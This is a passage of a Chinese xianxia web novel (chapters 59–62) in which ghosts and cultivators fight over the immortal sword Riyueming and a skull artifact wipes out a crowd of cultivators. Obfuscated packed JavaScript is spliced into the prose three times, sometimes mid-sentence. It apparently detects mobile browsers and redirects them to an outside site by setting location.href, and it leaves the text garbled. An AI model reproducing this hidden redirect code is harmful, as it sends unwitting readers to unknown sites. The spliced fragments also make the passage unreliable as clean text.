曾经威震三界的仙剑日月明,如今看起来却像一条被遗弃的老狗。守在主人昔日的家园哪也不去,一心一意地等着他回来。 “阴姐姐,这柄仙剑看起来好像一条狗啊——我没有骂它的意思,我是想说它就像忠犬一样。” 59.两个煞星 阴有苓冷眼旁观了好半天,对于众人争相抢着拔剑的闹剧不予置评。 但是任天真评价仙剑日月明的这番话,她却微微点了一下头表示认同。 “剑是好剑,就是可惜跟错了主人。” “那也没办法,听说它当年由明光亲手锻造,也不可能再有别的主人了。” 出身没得选择,只能被动接受上天的安排。 无论是一个人,一朵花,还是一柄剑,都是随机出现在世间的结果,人力无法预测与控制。 . 仙剑日月明现世,飞出东海后自行“扎根”于步云山的消息,迅速传遍了三界。 云间仙境,威毅殿,刚从昏迷中苏醒过来的钟离斐,得知这一消息后,激动得想要跳下床,却力有不逮地倒了回去。 “日月明既然出现了,那明光应该也要出现了。他肯定要找回自己的仙剑,不是吗?” 郦子微站在床畔,低头看着躺在床上虚弱不堪的钟离斐直摇头。 “是又如何?你眼下这副伤兵模样,难道还想去对付他不成?” “我跟你说过,生平最恨这种悖逆叛乱的家伙,明光不出现也就罢了,要是出现了,我一定不会放过他。” “钟离将军,你知道这次是谁救了你吗?” “谁啊?” “表面上是太玄真君和太清元君夫妇俩,实际上却另有其人。” 钟离斐都被搞糊涂了,“为什么还分表面上和实际上?郦夫子,你这话什么意思?能不能别打哑谜了?” 那一晚,温且慧和陆衢把钟离斐救回云间仙境后,就双双前去拜见紫衡帝君。 仙气氤氲的紫衡殿中,帝君英昊头戴玲珑碧玉冠,身披织锦绛绡衣,英武非凡地端坐于宝座之上,接见了这对神仙眷侣。 夫妇俩将之前发生的一切如实禀报:“信女慧慧”或许是明光假托名义;疫鬼厉无情极有可能成为新任鬼王。 对于明光是否“信女慧慧”一事,英昊并不关心,他更在意另一件事。 “疫鬼厉无情竟敢用毒箭暗算仙官,如此胆大妄为,日后若成了鬼王,只怕无间鬼域与云间仙境之间也太平不了。” 陆衢点头道:“帝君所言极是,我也这么觉得。” 郦子微当时就在帝君身旁侍立,听了也是暗中皱眉。 厉无情对仙官的态度如此不友善,很明显是没打算跟云间仙境和平相处。等他当上了鬼王,难保不会出什么乱子。 至于“信女慧慧”到底是否明光假托他人名义,郦子微得出的结论和陆衢夫妇如出一辙。 此时此刻,郦子微把整件事的来龙去脉都说明后,钟离斐亦是难以置信地瞪圆了双眼。 “到底是谁假借‘信女慧慧’的名义引太清元君下凡,钟离将军,你看来也心里有数吧?” 钟离斐自然是有数的,即使他并不愿意相信这一点,可除此以外得不出其他可能性。 “明光为什么要找太清元君来救我?当年我与他并无交情。” “这我怎么知道?你以后有机会自己去问他吧!眼下的当务之急是先把伤养好。” “这伤要养多久?” “要把毒素全部清理干净的话,少说也要一年半载。” “什么?居然要这么久?” “鬼气炼毒非同小可,不可等闲视之。幸好厉无情还没有鬼王的实力,否则你没准会像当年太玄真君那样,被江天旷用鬼火灼伤的丹府至今尚未痊愈。” 钟离斐有气无力地捶了一下床板,恨声道:“该死的厉无情,居然将鬼气炼入鬼箭中,成为专门对付仙官的毒箭,我一时没留神竟着了他的道。” 回想起那晚钟离斐被太玄真君夫妇二人救回来的惨样,郦子微都不禁直摇头。 他中毒也就罢了,毒发后还掉在一个白骨丛生的乱葬岗,沾了满身腐臭味。 对于素来爱干净到洁癖的弘文真君来说,这比中毒还要可怕多了。 当时郦子微都不敢上前,很没同僚情谊的躲得老远。 次日再三确认威毅殿的小仙官已经把自家主神洗涮干净了,这才亲移玉趾跑来慰问一下。 “钟离将军,真没想到疫鬼厉无情能让你吃上这么一次大亏。” “这次是我大意轻敌了,这笔债以后一定要找他讨回来不可。” “以后的事以后再说,总之你现在的头等大事就是驱毒疗伤,好好歇着吧!” . 临海县,是距离步云山最近的一座小城。 以往鲜少有异乡人来这儿,近日因为步云山上多了一柄仙剑,引得不少修士蜂涌而至,连带这座小城也变得热闹起来。 阿难也来到了临海县。他不再是小乞儿的模样,而是改头换面变成了一个小道士,端着一只陶钵,走在熙熙攘攘的街道中化缘。 “各位施主,发发善心,结个善缘吧!” 之前以小乞儿的身份出现时,阿难先后遇见过任天真和越君朴。如果再次遇上的话,就很容易被察觉出不对劲。 一个小乞丐,怎么可能在短短几天内辗转三地要饭呢?普通孩童的脚力根本没那么快。 任天真倒也罢了,就算意识到小乞丐可能不简单,也不会对他怎么样。 但是越君朴就不好说了,为了安全起见,还是换一个伪装更稳妥。 和蓬头垢面的小乞儿不同,小道士阿难一身干干净净,面孔雪白粉嫩。 找人化缘时客客气气又可可爱爱的小模样儿,让不少人不吝施舍予他,陶钵里很快就装了不少铜钱。 走进一家酒楼化缘时,老板娘见了他特别喜欢,不但给了钱,还留他坐下来吃碗素面再走。 “小师父,我用素油给你煮素面,保证一点荤腥都不沾,你就放心吧啊!” 阿难煞有介事地行礼道谢:“多谢施主。” 一碗素面很快就上桌了,虽然没有荤腥,却放了香菇片、笋丝和青菜,味道鲜美之极,阿难吃得大快朵颐。 “二位客官,里面请。” 门口又传来店小二迎接客人的声音,与此同时,系在阿难脚踝处的虎头铃铛,忽然又低又沉地铛了一声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612543|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 铃声仅传入他的耳朵,听得他手里的筷子为之一顿。 利用眼角余光,阿难小心翼翼地朝着大门口瞥了一眼,发现刚走进来的一男一女,居然是魁鬼朱颜悔和疫鬼厉无情。 朱颜悔一身明艳如枫的红衣,厉无情一袭皎洁似雪的白衫,两个人并肩而行,宛如琼花玉树相倚。 阿难暗中叫了一声苦:我去,怎么同时遇上这两个煞星了?这要是穿了帮,我今天一定会死得很难看。 无论朱颜悔还是厉无情,阿难都跟他们结下了大梁子,一旦暴露后果不堪设想。 好在眼下他这个小道士的伪装,是二人都陌生的全新形象。只要他不自乱阵脚,暴露的可能性就很低。 阿难定定心神,继续接着吃面。 如果这时候神色惊惶地丢下没还没吃完的半碗面就跑,反而会让他们觉得可疑。所以一动不如一静,静观其变更好。 . 朱颜悔和厉无情,谁也没有留意角落里那个埋头吃面的小道士,走到一张临窗的桌子旁坐了下来。 点好酒菜后,朱颜悔看着厉无情问道:“你不是说应长恨已经完蛋了吗?他怎么又出来蹦达了呢?” “谁知道?他都消失了整整一年,你不也觉得他不可能东山再起了吗?” 朱颜悔下意识地点头道:“他当初杀了太玄真君的黑虎,得罪了这位大仙官,引来八方追剿,像缩头乌龟一样躲了起来,横看竖看也没有翻盘的机会呀!” “是啊,他应该是没有这个机会的,但他现在敢约咱们见面,显然是又有了底气。” “如此有恃无恐,看来他躲得无影无踪的这一年里,没准是走了什么狗屎运。” 朱颜悔和厉无情出现在临海县,并非像那些修真人士一样是冲着仙剑日月明来的。 对于妖魔鬼怪来说,神兵就是天生能克他们的东西,得来无益。 他们之所以来到这里,是因为收到了厉鬼应长恨传来的讯息。说是自己已经重返人间,打算跟二位鬼僚来一场会晤。 应长恨人间蒸发的一年中,无间鬼域的几大势力重新洗牌。 厉鬼消失了,水鬼不露面,四大恶煞只剩下魅鬼和疫鬼,鬼王之位的竞争就成了他俩之间的事。 朱颜悔自知实力不及厉无情,与其逞强不如示弱,还有机会扮猪吃老虎。遂主动表态如果他有意问鼎鬼王之位,自己愿在麾下效力。 对于朱颜悔所表示出来的臣服之心,厉无情虽然无法确定是真是假,却也照单全收。 至少名义上他也算是没有对手了,至于她暗中打着什么小算盘,他也会心存防范。 这一年来,厉无情可没有闲着,又是炼化黑虎的内丹为己所用,又是利用鬼气精益求精地炼制“伤神”毒箭。 目前两样都已经初见成效,成为鬼王已是指日可待。 谁知在这个时候,销声匿迹了一年的应长恨突然冒了出来,还主动约两个竞争对手见面。 朱颜悔都罢了,毕竟之前两人并没有撕破脸,厉无情却是跟他彻底交恶追杀过他的人。 60.露面 应长恨之所以龟缩起来不敢露面,除了太玄真君陆衢的那一纸梦令引来的八方追剿,另一大原因也是要躲避厉无情的追杀。 意外发现他的实力减弱后,他一直想趁他弱要他命。 因为弱鸡所以不得不低调躲着的应长恨,突然一反常态地高调起来,主动约朱颜悔和厉无情来临海县会晤,这样的会晤肯定不会是什么“亲切友好”的气氛。 朱颜悔了然地道:“应长恨敢把咱俩同时叫过来见面,还约在步云山下的这个小县城,这个底气可不小呢。” 最近因为仙剑日月明现世,大量修士扎堆跑来步云山,山下的临海县也到处可见修士的身影。 而太玄真君陆衢的那纸梦令还没作废,应长恨的性命依然是修士们可以用来换取度化成仙的大好机会。 只要他一露面,也不知道多少修士想要把握此等良机。 如此不利于自己的局面,应长恨都敢高调亮相的话,那他的底气绝对不是一般的足。 “厉无情,你有把握胜过他吗?” “试一试不就知道了吗?” “丑话说在前头,你若不是他的对手,我可不会出手相助。你们俩我谁也不帮,谁胜出我就奉谁为王。” 厉无情漠然道:“知道,没打算让你帮我,你不背后捅刀子我就感激不尽。” “好说好说,像你这般俊俏的郎君,我也舍不得捅了!” 朱颜悔斜瞟着厉无情,眼波如秋水,缠绵又多情,似乎对他并无恶意还颇有好感。 “行了,别装了,都是千年的狐狸玩什么聊斋。朱颜悔,如果有机会弄死我和厉鬼自己上位,你会眨一下眼睛都算我输。” 厉无情声音冷冰冰,朱颜悔却娇滴滴地掩唇笑道:“哪有啊!人家才没那么狠心,没准还会为你们掉两滴眼泪呢!” . 阿难一直在竖着耳朵听他俩的对话,听到的内容让他暗中欣慰。 看来应长恨的法宝已经炼成了,骷髅头骨阿福现在肯定是个大杀器,他约厉无情和朱颜悔过来会晤,是打算秀肌肉亮实力的。 一碗面已经吃完了,阿难站起来向老板娘道谢后走人,可是还没走出店门就被人拦住了。 “小师父,你是哪座庙里的?” 拦在阿难面前的人是厉无情,无意中瞥见一个七八岁的小道士,他忽然想起当初应长恨假扮孩童的事,不觉心里一动。 “小道来自城隍庙。” 城隍庙哪里都有,供奉着守护城池之神,大多是有功于地方民众的文臣武将,这个回答是不会出错的。 “不知小师父的法号是?” “小道尚未受戒,主持还没有赐我法号。” “小师父年纪尚小,怎么就一个人出来化缘呢?” “主持说化缘是结善缘,让小道多结一点善缘。对了,施主愿意发发善心,结个善缘吗?” 阿难反攻为守,捧着陶钵跟厉无情化起了缘,他定定地看了他一眼,微笑着给出一锭金子。 “天啊,是金子呢!” 阿难一副没见过世面的模样,眼睛瞪得浑圆,嘴巴张得老大,整张小脸蛋就是一个放大的惊叹号。 “这个善缘结大了,敢问施主高姓大名?小道回庙里后,就请主持为施主立一块消灾延寿的长生禄位祈福。” “不必了,你走吧!” 小道士的对答没什么漏洞,厉无情听不出有任何问题,但也不知为何,他却还是想试试他。 . 回到临窗的座位上,厉无情左手中幻出一张弓,右手虽无箭,却做了一个拉弓引箭的动作,瞄准的目标就是刚走出酒楼的小道士。 如果他是普通人,那么这无形一箭肯定躲不过,中箭后轻则大病一场,重则一命呜呼。 朱颜悔有些奇怪,“你干吗要为难一个小孩子?” “因为我怀疑他不是一个小孩子。” “所以你想射他一箭试探一下,如果他就是一个小孩子呢?中了你的鬼箭恐怕小命难保。” 厉无情神色冷漠地道:“那就是他自己不走运了。” 无形的箭气朝着小道士的后背疾射而去时,他突然一个趔趄摔倒在地,无形箭射了一个空。 看似只是巧合,但厉无情却不这么认为。 就连朱颜悔也察觉出了异样,“这小道士要不就是运气特别好,要不就是如你所说,不简单呢!” 厉无情身子一晃,瞬间就移到了还趴在地上没爬起来的小道士面前,神色阴冷地盯着他问:“你到底是谁?” 阿难知道刚才的摔倒躲避有些太巧了,可是不躲又不行。厉无情的鬼箭连仙官都能射伤,他可不敢冒这个险。 “施主,你怎么突然这么凶啊?好吓人。” 阿难小嘴一扁,坐在地上嚎啕大哭起来。一个小道士被一个成年人欺负的场面,顿时引得不少路人纷纷围上来。 “怎么了这是?” “不知道啊!就知道这位公子凶了这个小道士。” “这位公子,你如此体面,为什么要欺负一个小孩子呢?” “是啊,大人欺负小孩,太不像话了!” 在一片指责声中,厉无情很不耐烦地低吼道:“闭嘴,统统给我滚,否则就是找死。” 厉无情文弱阴柔的外表,看起来毫无威慑力可言,甚至还会让人觉得是个好捏的软柿子。 可是当他那张美如好女的面孔上,突然露出阴冷暴戾的神色,透出又疯又狠的气息时,却能令人寒毛倒竖地意识到,这人其实是个不好惹很难搞的危险人物。 . 路人们可以打抱不平,但前提是不能危及自身。一看情况不对,都不敢再跟厉无情多对视哪怕一眼,纷纷转身走人。 然而,一位穿着黑袍的年轻男子,却逆着退散的路人走过来。身形高瘦,表情高冷,目光冰凉地注视着厉无情。 “厉无情,一年不见,你怎么还在欺负小孩子?莫非只有这等能耐?” 看着阔别已久的应长恨,阿难的嚎啕大哭都为之一顿:这死鬼,总算是露面了! 应长恨既然现身了,厉无情就没功夫来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643911|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的麻烦了,或许他可以趁此机会安静地爬走。 厉无情的瞳孔微微一缩,“应长恨,你当了一年缩头乌龟,现在却敢高调亮相,不知有了什么能耐呢?” “敢出来跟你们叫板,自然是有了大能耐,否则我可没兴趣来送死。” 顿了一下后,应长恨改变了谈话对象,低头冲着正手脚并用悄悄往外爬的阿难道:“喂,你去哪儿?” 一边问,他一边伸出右手,揪住阿难衣裳的后领襟,直接把“小道士”像拎小猫一样拎了起来。 那一双小短腿无法着地,在空气中乱蹬一气。 “啊啊啊,这位施主,你为什么也要欺负小道啊?” 应长恨似笑非笑地盯着阿难上下打量,“不为什么,就是看你不顺眼。” “看我不顺眼你可以选择不看啊!况且我不是正要走开不碍你的眼吗?” “已经看见了,还觉得很碍眼,就想把你吊起来暴打一顿。” “什么?!死鬼,大人不能欺负小孩,这话是不是你说的?” 应长恨的唇角微微一动,一丝微笑绽开来,如乌云裂隙中的阳光一闪,点亮了他的整张面孔。 . 厉鬼其人出了名的冷,冷心冷面冷漠冷酷,冷得像是完全没有温度一样。 此刻他却破天荒地露出一丝带着暖意的微笑,厉无情不禁心念一动。 这个小道士到底是谁?应长恨早不出现晚不出现,偏偏在他察觉到小道士有问题想要发难时来了,难道就是为了捞小道士一把吗? 无间鬼域的鬼,都不是爱交朋友的人,鬼吃鬼的同类相残就注定了他们要彼此防范。 这种心理一旦形成,对其他人也会时刻保持着高度警惕与戒备。 对于一个初次见面的小道士,应长恨没理由突然生出保护心理,他可不是那种洒向人间都是爱的大善人。 他愿意出手帮小道士,那就说明小道士跟他的关系匪浅。 能和应长恨关系匪浅的人,厉无情只能想到一个——那晚在玉岭放大招救走了厉鬼的小妖和光。 两道冷冷的寒光瞬间在厉无情眸底亮起,与此同时,他右手幻出一支白翎箭,闪电般直刺“小道士”的后背心。 当初要是没有和光这个可恶的小妖,那晚在玉岭他就能一箭双雕,既得到黑虎的内丹,也得到应长恨的鬼元精华。 这种坏了自己好事的家伙,不弄死他何以消心头之恨? 白翎箭却刺空了,应长恨拎着“小道士”倏忽冲上半空,一袭黑袍的身影如一只巨大的黑蝙蝠,朝着步云山展翅飞去。 想跑,没门——厉无情不假思索地追过去。 刚刚走出酒楼的朱颜悔,也毫不犹豫地紧随其后,想要看看有没有鹬蚌相争渔翁得利的机会。 步云山荒凉了三百年,这几天却热闹得活像菜市场。 每天有很多修士跑来锦霞峰顶,都想试试看自己能否拔出仙剑日月明。 有人尝试失败后就走了,有人却舍不得走,挖空心思琢磨着怎么把仙剑搞到手。 61.黑气 仙剑有灵,就算不能让它认主,供奉在家里也能辟邪驱灾,妖魔鬼怪都要退避三舍,是不可多得的镇宅之宝。 崇义真人一心想将日月明收入囊中,让手下人集思广益想办法,结果心腹弟子吴良想出了一个很不厚道的法子。 “师父,仙剑日月明当年出自无极宗,它如今扎根步云山,也是因为这里曾是无极宗仙府摩宵宫的所在地。既然如此,如果咱们取来摩宵宫的匾额,或许就能拔出此剑了。” 修真门派的仙府门楣上都挂着一块匾额,那是宗门的不二象征。 历代宗主继任时,都要用指尖血和着金漆,一边默念咒语一边把匾额上的每个字重新描一遍。 这一仪式能赋予匾额灵性,让它成为灵物,焕发出常人看不到的灿灿灵光,令妖魔鬼怪不敢轻易靠近。 仙剑日月明也是灵物,还同样出身于无极宗。师出同门的灵物,某种程度上可以相互感应与认知。 三百年前,无极宗仙府摩宵宫被雷火烧毁一空,唯有这块玄铁鎏金的匾额幸存于世。 无极宗在太平岛另起山头后,新仙府重新挂上了这块老匾额。 崇义真人深以为然,“言之有理,那你立刻带人去无极宵,把摩宵宫的匾额借来一用。” 吴良领命而去,带上一队人马去了太平岛的摩宵宫。 “借用”匾额这种事闻所未闻。作为宗门的不二象征,哪个修真门派会同意别人摘走自家仙府的匾额? 这等于自家颜面被按在地上摩擦,绝无可能。 如果不是无极宗这种没落宗门,眼下又是一位女宗主当家,门下就几个小猫小狗似的所谓弟子,崇义真人才不会这么有恃无恐。 他就是明晃晃地欺负人,如果阴有苓同意的话就是借用,如果不同意就要动手明抢了。 吴良一行来到太平岛后,没有遇上阴有苓这个最大阻力。 这日是阴雄的头七,她带着几位师弟师妹乘船出海,以向海中撒供品的方式祭奠亡父去了。 唯一留下来负责看家守门的阿宽,根本就不是吴良一行人的对手。 他连招架之力都没有就被打倒在地,捆成粽子状扔在一旁,只能目眦欲裂地看着这伙强盗摘下摩宵宫的匾额。 “你们这些王八蛋,算什么修仙之人?一点向善之心都没有,见无极宗现在只有女人孩子,就跑上门来欺负弱小。我诅咒你们,诅咒你们一个个都不得好……” 话还没说完,阿宽的嘴就被一道禁言术封住了。他再也吐不出一个字,但一双怒火滔天的眼睛仍在发射出强烈的憎恨。 . 这块“借来一用”的摩宵宫匾额果然很有用,崇义真人把它往仙剑日月明旁边一竖,剑在鞘中传出一声龙吟似的剑啸。 他再伸手拔剑时,很轻松地就把仙剑连剑带鞘从岩石里拔了出来。 主人不见踪影,无极宗也不知去向。 当孤零零等在步云山的仙剑日月明,突然感应到了摩宵宫匾额的存在时,或许有一种遇上亲人的感觉,自然就同意了带来匾额的“亲人”把自己带走。 崇义真人得意忘形地大笑起来,“哈哈哈,仙剑日月明归我所有了。” 在场的不少修士都露出羡慕嫉妒恨的神色。 如果拔出仙剑的人不是崇义真人,而是一个小宗门的小角色,他们一起会群起而攻之地争相抢夺不可。 万象宗乃是天下第一宗门,这个名头所代表的庞大势力,再加上崇义真人修为不俗,许多人虽然万分眼红他能得到仙剑,却不敢轻易动手跟他抢。 崇义真人笑得正畅快如意时,一个黑色人影突然掠上锦霞峰,速度快得如鬼似魅,让他吃了一惊。 “来者何人?” 黑色人影定住身形后,所有人才看清楚他的模样。 那是一个瘦瘦高高的年轻男子,穿着一袭黑袍,散着一头黑发,一张苍白冷漠的面孔,冰雕般散发着森森寒气。 他不是一个人,手里还拎着个人肉挂件似的小道士,站定后随手把人往身后一放,是一种不自觉流露的保护姿态。 “我是应长恨。” 黑衣男子一脸冰冷倨傲的神色自报家门后,崇义真人几乎不敢相信自己的耳朵。 “什么?你就是厉鬼应长恨。” “没错,就是我。听说很多修士想杀我换取度化飞升的机会,我今天就给你们这个机会,有多少人想上啊?” 应长恨冷冰冰的声音中满是轻蔑之意,显然压根就不把眼前这么多位修士放在眼里。 然而听了这番话的修士们却大都忽视了这一点,他们只看到己方人多势众,而应长恨却势单力薄,纷纷流露出跃跃欲试的神色。 阿难从应长恨背后探出一个小脑袋瓜,用稚嫩的童音大声提醒。 “别上别上别上,重要的事情说三遍,千万别上。强烈建议诸位赶紧走人,走得越快越好。” 对于一个小孩子的提醒,尤其还是跟在应长恨身边的小孩,修士自然是都不当作一回事。 有道是双拳难敌四掌,好汉架不住人多。厉鬼再厉害也是独木难支,他们这么多人联手还怕对付不了他吗? 至于最后的功劳到底算谁的,大可以慢慢算了。 再说也不排除到时候太玄真君陆衢心情一好,见者有份的都给些仙丹仙药之类的好处呢? “诸位仙友,大好的机会就在眼前,一起上诛杀厉鬼啊!” 崇义真人当仁不让地做起了带头大哥,号召所有修士一起诛杀应长恨,自己却很谨慎地没有立即行动。 像他这种老滑头精着呢,自然清楚应长恨除非是活腻歪了,否则绝不会跑来单挑这么多修士。 如果不是的话,那就说明他有办法搞定局面,所以最好是先观望一下再说。 应长恨毕竟是四大恶煞之一,就算他是来找死的,肯定也要死得轰轰烈烈,还不知道要拉多少修士陪葬呢! 崇义真人可不想直撄其锋,先哄一些愣头青去充当炮灰,用人海战术拖垮应长恨,最后再去捡个现成便宜,就是他暗中打的如意算盘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666474|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果运气足够好的话,不但得到了仙剑,还有机会干掉厉鬼,说不定明天就被度化升仙了。 一念至此,崇义真人满心都是喜孜孜的。 . “一起上,诛厉鬼。” 锦霞峰顶,大批修士一起呐喊着挥剑杀向应长恨,一副可以轻而易举将他剁成肉泥的磅礴气势。 应长恨镇定自若地站在原地,右手中幻出一样东西。那东西并非他的武器——名震三界的鬼刀风雷怒,而是一个小巧的骷髅头骨。 “阿福,你去把他们都收拾了。” 随着应长恨的交代声,阿福自动飞上半空,从上下颌骨间喷出无数黑气。 黑气带着龙咆虎吼似的啸声,自上而下扑向那些修士,如黑色潮水般迅速淹没了他们。 被淹没的那一瞬间,修士们气势十足的呐喊声蓦地消失了。锦霞峰上,除了无数墨浪般汹涌呼啸的黑气,其他一切仿佛都不存在了。 片刻后,所有黑气宛如百川归海一样,迅速缩回了骷髅头的颌骨间。而那些想要组团灭了应长恨的修士们,已经变成了一具具东倒西歪的尸体。 这些死于黑气中的尸体很诡异,浑身的血肉都已经不复存在,只剩下干瘪的皮肤裹着骨骼——是皮包骷髅的死尸。 不过片刻功夫,锦霞峰顶的所有修士集体被团灭。 就连躲在后面等着捡便宜的崇义真人也不例外,和吴良倒在一起成了两具形容可怖的尸体。 聚在锦霞峰上的修士,都是有点能耐的高阶修士,来自修真界的各大宗门。 小门小派的低阶修士,都不能在这儿久留,因为地方不够大,只能去其他六峰呆着。 锦霞峰上发生的事,其他六峰的修士又不是聋子瞎子,自始至终都在高度关注。 原本他们还在羡慕锦霞峰的高阶修士撞大运了,谁知却是这么一个悲惨可怕的团灭结果,一个个都吓得魂不附体。 “天啊!那是什么东西,怎么一眨眼的功夫就杀了那么多人?” “太恐怖了,居然连崇义真人都被秒杀了。” “别管是什么了,赶紧撤吧!” “对对对,赶紧撤,再不走就死定了。” 一道道御剑飞起的身影,如同受惊的鸟儿般纷纷逃离步云山,唯恐跑得不够快。 . 厉无情和朱颜悔二人,在应长恨飞上锦霞峰顶,单挑在场所有修士时,都鬼精地闪在一旁作壁上观,结果令他们双双大惊失色。 朱颜悔顿悟道:难怪厉鬼躲了一年没露面,敢情是在炼制法宝呢! 厉无情也终于明白,为何当初应长恨会无端端实力减弱,被迫变成小鬼来隐藏真实身份,敢情是因为他在暗中炼制法宝的缘故。 那时候他的法宝炼制得显然不太顺利,导致实力都变弱了不少。而这一年里,他却不知为何获得了突飞猛进的成功。 应长恨拥有了这样威力惊人的法宝,厉无情自问不是对手。他阴沉着脸一言不发,眸中满是功亏一篑的恼怒与不甘。 62.别乱摸 朱颜悔自知今日是当不上得利的渔翁了,不过她知道厉无情只会比自己更失望,还笑盈盈地拱起了火。 “厉郎啊厉郎,眼下看来你是比不上应郎了,那就别怪我改变心意,另奉他为王了啊!” “随你的大小便。” 厉无情铁青着脸拂袖而去,朱颜悔巧笑嫣然地追在他身后。 “唉呀,我随口说说而已,你怎么还当真了。你比厉鬼更俊俏,我还是更想由你来当这个鬼王。如果你有其他法子对付厉鬼的话,我也愿意帮你的。” 朱颜悔才不是真心想帮厉无情对付应长恨呢,而是这两个人一旦斗起来,两败俱伤之际,就是她的出头之时。 厉无情又何尝不明白这一点呢?不过她想利用他,他也可以将计就计地反过来利用她了。 “好啊,那咱们找个地方商量一下,看接下来该怎么办吧。” . 锦霞峰顶,应长恨傲然屹立,俯瞰着那些仓惶逃离的身影,唇角噙着一抹轻蔑的冷笑。 “阿福,你的首战表现得很好。” 阿福落在主人的肩膀上,左右扭动了几下,一副被表扬后很是得意的样子。 对于阿福所表现出来的大规模杀伤性武器威力,阿难都被震住了,好半天才吁出一口长气。 “阿难弟弟,真没想到,你这个法宝炼成后这么厉害。” 应长恨低下头看着小不点版本的阿难,好气又好笑地道:“你现在这副小屁孩的模样,居然好意思管我叫弟弟?” “这不习惯了嘛!” 顿了一下后,阿难又道:“你家阿福的杀伤力太强了,眨眼功夫就让这么多人变成了皮包骷髅的死人,以后还是尽量能不用就不用吧。” “知道你是个好妖怪,轻易不想伤人性命。但这些人都是自己上赶着找死,你也提醒过他们了,他们自己不走怨谁呢?人不犯我我不犯人,人惹犯我,我可是睚眦必报的人。” 苦笑着摇了摇头后,阿难问道:“对了,你之前是怎么认出我的?” “你当街摔个大马趴的时候,系在脚腕上的铃铛露出来了。虽然你换了一张皮,但小铃还是老样子,我一眼就认出它了!” “原来如此。” “小铃,你不来跟我打声招呼吗?” 随着应长恨的点名,虎头铃铛自动脱离红色金刚绳结,从阿难的裤管下钻出来,飞到了他面前清脆悦耳地叮叮响了几声,仿佛在说“你好你好”。 阿福也认出了小铃,它似乎知道自己骷髅头骨的模样不可爱,又变成了那个憨态可掬的泥娃娃,再蹭过来想跟虎头铃铛套近乎。 小铃一开始是拒绝的,但是看在应长恨曾经尽力搭救过阿难的情分上,就敷衍似的也冲着阿福叮了两声,把它激动得团团转。 “话说你怎么也变成小孩子了?” “当初取心头血画符元气大伤,养了大半年才能重新化形,法力也更低了。为了自保就向你学习,变成一个人畜无害的小孩子。” “那你什么时候能恢复成年人的模样?” “快了,也就是这几天的事。” “那这几天我先罩着你吧——阿、难、弟、弟。” 应长恨加重语气一字一顿地说出最后四个字,眸底藏着一丝促狭的笑意。 阿难很干脆地微笑点头道:“行吧,风水轮流转,现在换我当弟弟了。” . 御剑逃离的修士走光后,原本热闹非凡的步云山,就恢复了荒芜冷清的面貌。 锦霞峰顶,满地东倒西歪的尸体中,仙剑日月明与摩宵宫的玄铁匾额,却以一个人字形相互支撑着立在一起。 阿难下意识地走过去,伸手想要摸一摸自己曾经的佩剑。 “别乱摸,这可是专克妖魔鬼怪的仙剑,你这种法力低微的小妖轻易触碰不得。” 神仙的神兵,就是妖魔鬼怪的天生克星。 妖魔鬼怪的法力越低,遇上神兵就越死得快;法力越高,就能与之周旋得越久。 应长恨走在阿难身后,一边出声阻止,一边出手抓住他的肩膀,让他的五指停在了仙剑前仅半寸的地方。 仙剑日月明,当年是明光以稀世金铁加上日精石、月华石共同锻造而成。铸成后剑刃晶亮,光芒耀眼,故此命名“日月明”。 日光之精,月光之华,共同缔造了这柄仙剑的赫赫威力。剑锋所指,所向披靡,从来没有妖魔鬼怪敢撄其锋。 阿难的手虽然尚未触碰到仙剑,但是日月明感知到有妖邪在靠近,一线金色神光闪电般亮起,如一枚小型光剑般直接刺向他。 还好应长恨眼疾手快,再次拎起他一飞冲开,险之又险地避开了来自仙剑的光波攻击。 “你这个法力低微的小妖,胆子倒不小。这可是仙剑日月明,居然敢上手就摸,不要命了?” 大水冲了龙王庙,一家人不认一家人。遭到自家仙剑攻击的阿难,除了苦笑还是苦笑,他现在也只有苦笑的份儿。 虎头铃铛气炸了,绕着仙剑日月明飞个不停,一边飞一边疯狂作响,每一声都是在气势汹汹地骂街,类似“麻拉个逼你个大傻逼”之类的。 应长恨失笑道:“你家小铃好像在骂人——不对,是骂剑,而且还是骂得很脏的那种。小东西还挺忠心护主嘛!” 仙剑日月明不能碰,阿难又伸手试着去摸摩宵宫的匾额,却被应长恨一巴掌拍开了,毕竟这块匾额同样是能令妖魔鬼怪不敢近前的灵物。 “你怎么又乱摸,刚才的教训就忘了吗?你以前不会这么不谨慎的,变成小孩后怎么成熊孩子了?” 阿难苦笑着缩回手,他能说自己是情不自禁吗? 三百年前,傲然耸立于步云山的摩宵宫,是明光从小到大生活的家。 如今这个家仅剩下这么一块匾额,上头那三个金色大字,还是父亲曾经用鲜血和着金粉涂抹过的,让他忍不住想要触碰。 “说起来,你这样一个小妖,连仙剑都不能触碰,怎么却被一只法铃奉为主人呢?老实交代,你是怎么把小铃拐骗到手的?” 